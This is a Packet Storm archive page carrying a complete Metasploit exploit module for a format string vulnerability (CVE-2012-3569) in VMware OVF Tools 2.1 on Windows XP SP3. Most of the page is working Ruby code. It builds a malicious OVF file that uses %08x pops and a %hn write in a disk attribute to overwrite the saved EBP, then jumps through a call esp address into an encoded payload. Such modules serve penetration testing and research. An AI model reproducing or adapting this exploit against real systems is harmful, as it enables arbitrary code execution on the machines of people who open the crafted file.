what you don't know can hurt you

VMWare OVF Tools Format String

VMWare OVF Tools Format String
Posted Feb 6, 2013
Authored by Jeremy Brown, juan vazquez | Site metasploit.com

This Metasploit module exploits a format string vulnerability in VMWare OVF Tools 2.1 for Windows. The vulnerability occurs when printing error messages while parsing a a malformed OVF file. The module has been tested successfully with VMWare OVF Tools 2.1 on Windows XP SP3.

tags | exploit
systems | windows, xp
advisories | CVE-2012-3569, OSVDB-87117
MD5 | f525bc1c9d5f21294e79afd950a4acc6

VMWare OVF Tools Format String

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'VMWare OVF Tools Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for
Windows. The vulnerability occurs when printing error messages while parsing a
a malformed OVF file. The module has been tested successfully with VMWare OVF Tools
2.1 on Windows XP SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jeremy Brown', # Vulnerability discovery
'juan vazquez' # Metasploit Module
],
'References' =>
[
[ 'CVE', '2012-3569' ],
[ 'OSVDB', '87117' ],
[ 'BID', '56468' ],
[ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ]
],
'Payload' =>
{
'DisableNops' => true,
'BadChars' =>
(0x00..0x08).to_a.pack("C*") +
"\x0b\x0c\x0e\x0f" +
(0x10..0x1f).to_a.pack("C*") +
(0x80..0xff).to_a.pack("C*") +
"\x22",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x54\x59", # push esp # pop ecx
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
'BufferOffset' => 6
}
},
'Platform' => 'win',
'Targets' =>
[
# vmware-ovftool-2.1.0-467744-win-i386.msi
[ 'VMWare OVF Tools 2.1 on Windows XP SP3',
{
'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1
'AddrPops' => 98,
'StackPadding' => 38081,
'Alignment' => 4096
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Nov 08 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ovf']),
], self.class)
end

def ovf
my_payload = rand_text_alpha(4) # ebp
my_payload << [target.ret].pack("V") # eip # call esp
my_payload << payload.encoded

fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000)
fs << rand_text_alpha(target['Alignment']) # Align to 0x11000
fs << my_payload
# 65536 => 0x10000
# 27 => Error message prefix length
fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8))
fs << "%08x" * target['AddrPops'] # Reach saved EBP
fs << "%hn" # Overwrite LSW of saved EBP with 0x1000

ovf_file = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<Envelope vmw:buildId="build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common"
xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData"
xmlns:vmw="http://www.vmware.com/schema/ovf"
xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<References>
<File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="68096" />
</References>
<DiskSection>
<Info>Virtual disk information</Info>
<Disk ovf:capacity="8" ovf:capacityAllocationUnits="#{fs}" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" />
</DiskSection>
<VirtualSystem ovf:id="Small VM">
<Info>A virtual machine</Info>
</VirtualSystem>
</Envelope>
EOF
ovf_file
end

def exploit
print_status("Creating '#{datastore['FILENAME']}'. This files should be opened with VMMWare OVF 2.1")
file_create(ovf)
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close